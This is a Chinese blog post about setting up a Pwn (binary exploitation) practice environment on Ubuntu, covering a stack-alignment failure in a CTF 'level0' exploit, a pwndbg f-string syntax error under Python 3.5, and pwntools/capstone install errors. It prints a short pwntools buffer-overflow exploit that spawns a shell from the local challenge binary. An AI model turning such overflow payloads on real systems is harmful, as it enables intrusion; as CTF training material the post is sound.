资讯详情

搭建Ubuntu16.04系统下Pwn环境的几个疑难问题

文章目录

    • 1. 使用通用exp执行不能getshell(stopped with exit code -11 (SIGSEGV))
    • 2. 安装pwndbg后启动gdb报错(raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'"))
    • 3. 安装pwntools报错(Building wheel for capstone (setup.py) ... error)
??之前搭建了一下 Ubuntu 系统下的 Pwn 环境,但在施工过程中遇到了很多问题,有些问题可以很容易地解决。其中一些需要很长时间才能在这里记录下来。 ??搭建过程: ?? 搭建Ubuntu16.04系统下的Pwn解决环境和问题的实践

1. 使用通用exp执行不能getshell(stopped with exit code -11 (SIGSEGV))

?? ??我有一套 Kali 做题环境,执行 exp 一切都很正常,然后又建了一套 Ubuntu20.04 环境。工具可以正常安装,但可以在发现之前使用 exp 不能执行,执行会报错,不能getshell了。 ??以攻防世界Pwn题目“level0”为例,EXP如下:

from pwn import *  sh = process("./291721f42a044f50a2aead748d539df0") sh.recv() payload=0x88*'a' p64(0x400596) sh.sendline(payload) sh.interactive() 

??报错如下:

[ ] Starting local process './291721f42a044f50a2aead748d539df0': pid 3975 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ ls [*] Process './291721f42a044f50a2aead748d539df0' stopped with exit code -11 (SIGSEGV) (pid 3975) [*] Got EOF while sending in interactive 

在这里插入图片描述

??当时以为是 Ubuntu 版本太高,导致系统 libc 版本太高,无法正常执行,所以打算换一个版本更低 Ubuntu,结果,许多版本无法正常执行。 ??然后我的想法是把系统化。 libc 更换版本,或在指定操作时加载 libc 文件,但似乎不太好。 ??因为我以前的 Kali 系统,EXP都可以正常执行,看看 libc 版本。

然后安装glibc-all-in_one git clone https://github.com/matrix1001/glibc-all-in-one 安装后进入目录./update_list更新,然后cat list可查看支持libc版本,cat old_list查看老版本,然后./download {libc版本}您可以下载相应的libc版本,我在这里下载2.28-0ubuntu1_amd64

这里尝试了以下几种改变运行的方法libc文件,但没有效果,或操作报错。

命令行使用patchelf命令。 patchelf --set-interpreter //home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/libc-2.28.so ./291721f42a044f50a2aead748d539df0 patchelf --replace-needed libc.so.6 /home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/ld-2.28.so ./291721f42a044f50a2aead748d539df0 patchelf --set-rpath /home/pwn/Downloads/glibc-all-n-one/libs/2.28-0ubuntu1_amd64/ ./291721f42a044f50a2aead748d539df0

但是我改完以后使用ldd查看报错了,运行也不行。

在Python脚本中 sh = process(["./291721f42a044f50a2aead748d539df0"], env={"LD_PRELOAD":"./libc-2.28.so"})指定libc。

经过尝试也不太行。

安装: git clone https://github.com/ray-cp/pwn_debug.git cd pwn_debug sudo python setup.py install

可以在Python脚本中指定加载的libc。debug模式和local模式二选一即可,debug模式的参数可以指定libc版本,local模式参数直接写libc地址即可。但我没有成功。。。

from pwn_debug import *

pdbg=pwn_debug("binary")

# debug模式
pdbg.debug("2.23")
p=pdbg.run("debug")

# local模式
gdbp.local("./libc.so.6","ld.so")
p=pdbg.run("local")

p.interactive()

最后经过分析,造成无法getshell的原因是因为libc版本不同,导致进入system函数后的栈结构遭到改变,不能满足system函数对于栈平衡的条件,从而导致了触发段错误。

我们在进入system函数之前下断点,可以看到汇编指令如下:

在我之前可以正常打EXP的Kali机器上:

可以看到 do_system 函数直接对 ebp 寄存器进行入栈。

而在我新搭建的 Ubuntu 环境上:

可以看到 do_system 函数的前几句是:

push r13
mov ecx, 0x10
push r12

然后才开始将 rbp 入栈。这也是导致栈不平衡的原因。

因此对于此问题的简单解决方法如下:

ROPgadget --binary ./291721f42a044f50a2aead748d539df0 --only 'pop|ret'

最终的EXP修改如下:

from pwn import *

sh = process("./291721f42a044f50a2aead748d539df0")
sh.recv()
payload=0x88*'a'+p64(0x40065c)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x400596)
sh.sendline(payload)
sh.interactive()

运行成功:

2. 安装pwndbg后启动gdb报错(raise argparse.ArgumentError(banner_arg, f"banner can not be ‘{banner}’"))

具体报错内容如下:

Traceback (most recent call last):
  File "/home/pwn/Downloads/pwndbg/gdbinit.py", line 24, in <module>
    import pwndbg # isort:skip
  File "/home/pwn/Downloads/pwndbg/pwndbg/__init__.py", line 21, in <module>
    import pwndbg.commands.context
  File "/home/pwn/Downloads/pwndbg/pwndbg/commands/context.py", line 141
    raise argparse.ArgumentError(banner_arg, f"banner can not be '{ 
          banner}'")
                                                                           ^
SyntaxError: invalid syntax

这个问题也纠结了好长时间。

网上有的文章说是要安装32位运行库,我试了不行。 怀疑是gdb的版本,重装了gdb也不行。

最蛋疼的是我的这个报错在网上根本搜不到。。

我看很多文章写的 pwndbg 要求的是 Python3.5,所以一直也都没有怀疑Python的版本。 注:我的pwntools环境用的是Python2,但是安装pwndbg是要求Python3环境的。

后来实在没办法,跟着报错去查源码。 发现报错的源码是在contextoutput函数内,一个抛出异常的语句,并且用了格式化字符串。

def contextoutput(section, path, clearing, banner="both", width=None):
    if banner not in ('both', 'top', 'bottom', 'none'):
        # raise banner
        raise argparse.ArgumentError(banner_arg, f"banner can not be '{ 
          banner}'")

根据报错内容,我在物理机写了同样的一段逻辑然后运行,发现正常啊。 然后查看对比了 Python 版本,正常运行的是3.7.2,虚拟机上是3.5.2,然后翻了 Python 的官方文档,发现 Python 是在3.6之后才支持的f-string语法。

我懒得再升级 Python 版本了,系统的自带的这个 Python 最好不要轻易卸载,不然很麻烦。

因为我报错的这个语句只是一个异常处理的分支,正常情况来说是不会走到这里的,所以理论上来说直接注释掉就可以。运行报错是因为当前版本的编译器不认识这种语法,所以大概修改一下,保存重新运行就行了。

def contextoutput(section, path, clearing, banner="both", width=None):
    if banner not in ('both', 'top', 'bottom', 'none'):
        raise argparse.ArgumentError(banner_arg, "banner can not be '" + banner + "'")
        # raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")

保存然后重新运行 gdb,成功启动pwndbg。

3. 安装pwntools报错(Building wheel for capstone (setup.py) … error)

我在使用部分 Ubuntu 版本,在安装pwntools时出现,忘了截图了,可以看下报错,有的是因为没有安装make命令。

sudo apt-get install make

安装一下就行了。

有的是因为没有安装Capstone反汇编框架。

git clone https://github.com/aquynh/capstone cd capstone make make install

经尝试也可以使用

pip install python-capstone

标签: r12传感器sensopart

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台